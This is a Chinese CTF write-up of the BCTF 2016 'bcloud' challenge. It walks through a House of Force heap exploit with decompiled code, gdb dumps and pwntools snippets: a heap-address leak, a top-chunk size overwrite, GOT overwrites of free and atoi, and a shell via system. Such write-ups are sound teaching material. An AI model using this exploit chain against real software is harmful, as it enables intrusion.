这是一道CTF题,涉及到The House of Force技术
文件及writeup可以在
http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html
下载,另外还有
http://www.freebuf.com/news/topnews/100143.html
、
https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200
等相关参考资料。
首先运行一下,看一下大致流程,
root@yang-virtual-machine:~/ctf# ./bcloud
Input your name:
123
Hey 123! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
qwe
Host:
asd
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
1
Input the length of the note content:
ssssssssssssssssss
Input the content:
Create success, the id is 0
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
然后放到IDA中静态分析一下,为了提高可读性,对一些变量进行了重命名。
首先分析一下input_name函数的伪代码:
int input_name()
{
char s; // [sp+1Ch] [bp-5Ch]@1
int heap_of_name; // [sp+5Ch] [bp-1Ch]@1
int v3; // [sp+6Ch] [bp-Ch]@1
v3 = *MK_FP(__GS__, 20);
memset(&s, 0, 0x50u);
puts("Input your name:");
read_user_define((int)&s, 64, 10);
heap_of_name = (int)malloc(0x40u);
dword_804B0CC = heap_of_name;
strcpy((char *)heap_of_name, &s);
print_info(heap_of_name);
return *MK_FP(__GS__, 20) ^ v3;
}
我们输入name时,保存到s处,也就是bp-5c处,大小为0x40,在bp-1c处保存了一个指针,指向堆内存,然后通过strcpy函数将s中的数据复制到heap_of_name指向的内存区域。这里就有问题了 s和heap_of_name正好相距0x40 strcpy结束的标志是遇到null。看一下此时的内存布局:
如果此时输入的name正好是0x40,namestrcpy时,因为name后边不是null,而是heap_of_name,所以会将heap_of_name一块复制到heap_of_name指向的内存区域,然后调用printf的时候会将堆的地址(heap_of_name)一块打印出来。
利用exp如下:
r.send("A" * 0x3c + "ZZZZ")garbage = r.recvuntil("ZZZZ")leak = u32(r.recv(4))garbage = r.recv()log.info("Leak: " + hex(leak))
下边就是输入组织与主机名的函数了:
int input_Org_and_Host()
{
char Org_buffer; // [sp+1Ch] [bp-9Ch]@1
char *Ptr_heap_of_Org; // [sp+5Ch] [bp-5Ch]@1
char Host_buffer; // [sp+60h] [bp-58h]@1
char *ptr_heap_of_Host; // [sp+A4h] [bp-14h]@1
int cookie; // [sp+ACh] [bp-Ch]@1
cookie = *MK_FP(__GS__, 20);
memset(&Org_buffer, 0, 0x90u);
puts("Org:");
read_user_define((int)&Org_buffer, 64, 10);
puts("Host:");
read_user_define((int)&Host_buffer, 64, 10);
ptr_heap_of_Host = (char *)malloc(0x40u);
Ptr_heap_of_Org = (char *)malloc(0x40u);
dword_804B0C8 = (int)Ptr_heap_of_Org;
dword_804B148 = (int)ptr_heap_of_Host;
strcpy(ptr_heap_of_Host, &Host_buffer);
strcpy(Ptr_heap_of_Org, &Org_buffer);
puts("OKay! Enjoy:)");
return *MK_FP(__GS__, 20) ^ cookie;
}
内存布局还是差不多,如下所示:
问题跟上边差不多
这样我们往org中传入64个字节,往Host中传入\xff\xff\xff\xff,当将org拷入*arg指向的堆时,就会将org+*org+Host一块考入,覆盖了后边的top chunk大小,导致top chunk无限大。
这部分exp如下:
HOST = "B" * 0x40
wilderness = "\xff\xff\xff\xff"
r.send(HOST)
r.sendline(wilderness)
garbage = r.recv()
下一步就是将堆分配到.bss段之前,以使再次分配堆时分配到bss上。
root@yang-virtual-machine:~/ctf# readelf -S bcloud | grep bss
[25] .bss NOBITS 0804b060 002048 0000ec 00 WA 0 0 32
root@yang-virtual-machine:~/ctf#
可以看到bss段的起始地址是:0x0804b060
int create_note()
{
int result; // eax@6
signed int i; // [sp+18h] [bp-10h]@1
int len_note; // [sp+1Ch] [bp-Ch]@7
for ( i = 0; i <= 9 && heap[i]; ++i )
;
if ( i == 10 )
{
result = puts("Lack of space. Upgrade your account with just $100 :)");
}
else
{
puts("Input the length of the note content:");
len_note = read_to_int();
heap[i] = (int)malloc(len_note + 4);
if ( !heap[i] )
exit(-1);
length_of_note_content[i] = len_note;
puts("Input the content:");
read_user_define(heap[i], len_note, 10);
printf("Create success, the id is %d\n", i);
result = i;
dword_804B0E0[i] = 0;
}
return result;
}
利用exp如下:
size = (0xffffffff - leak - 224) + bss - 4
log.info("Size: " + hex(size))
size = (0xffffffff ^ size) + 1
r.sendline("-" + str(size))
此处bss= length_of_note_content
224指的是创建了三个堆0x48*3加上此处创建堆的堆首及对齐共8字节
加上在bss上创建堆的堆首4字节(
有疑问 需要调试确定)
通过IDA静态分析可以看到length_of_note_content位于地址.bss:0804B0A0处
heap位于地址.bss:0804B120处
这样我们下次创建note时,数据正好写在以length_of_note_content为起始地址的堆地址处。
利用代码如下:
atoi = 0x804b03c
free = 0x804b014
r.sendline('1')
r.sendline('172')
# Plan - step 3: Fill out the lengths[] and notes[] arrays# with pre-defined values of sizes and GOT addresses
payload = p32(4)
payload += p32(4)
payload += p32(4)
payload += p32(0) * 29
payload += p32(atoi)
payload += p32(free)
payload += p32(atoi)
payload += p32(0) * 8
r.send(payload)
内存应该是这样的 :
heap[1]=0x0804B120+4保存的是堆的起始地址。
gdb-peda$ x/10x 0x804b120
0x804b120: 0x0804c0e0 0x0804b0a0 0x00000000 0x00000000
0x804b130: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b140: 0x00000000 0x00000000
然后将用户输入
的content复制到
0x0804b0a0处。
gdb-peda$ x/100x 0x0804b0a0
0x804b0a0: 0x00000004 0x00000004 0x00000004 0x00000000
0x804b0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b100: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b110: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b120: 0x0804b03c 0x0804b014 0x0804b03c 0x00000000
0x804b130: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b140: 0x00000000 0x00000000 0x00000000 0x00000000
可以看到经过复制后0x804b124处被0x0804b014替换。
0x0804b014就是free@got
下一步就是利用edit_note函数将free函数地址改写为printf地址。
printf = 0x80484d0r.sendline('3')r.sendline('1')r.send(p32(printf))garbage = r.recv()
此处改写地址
0x0804b014
这样就将free@got替换为
ptintf@got.
所以当我们调用delete_note时:
int delete_note()
{
int result; // eax@3
int v1; // [sp+18h] [bp-10h]@1
void *ptr_to_heap; // [sp+1Ch] [bp-Ch]@4
puts("Input the id:");
v1 = read_to_int();
if ( v1 >= 0 && v1 <= 9 )
{
ptr_to_heap = (void *)heap[v1];
if ( ptr_to_heap )
{
heap[v1] = 0;
length_of_note_content[v1] = 0;
free(ptr_to_heap);
result = puts("Delete success.");
}
else
{
result = puts("Note has been deleted.");
}
}
else
{
result = puts("Invalid ID.");
}
return result;
}
其中调用了free函数,也就调用了我们替换的printf函数。正好将ptr_to_heap打印出来,这个地方ptr_to_heap正好是我们布置的atoi函数的地址。
r.sendline('4')
r.sendline('0')
garbage = r.recvuntil("Input the id:\n")
garbage = r.recvuntil("Input the id:\n", timeout=1)
atoi = u32(r.recv(4))
log.info("Atoi: " + hex(atoi))
garbage = r.recv()
既然已经知道了函数atoi的地址,通过偏移就可以计算出system函数的地址了。
然后我们编辑id=2的note,因为id=2已经被我们布置为atoi的地址,我们发送system的地址,将atoi地址替换为为函数system地址,然后在发送/bin/sh,就获得了一个shell。
完整shell请见附表链接。
参考资料: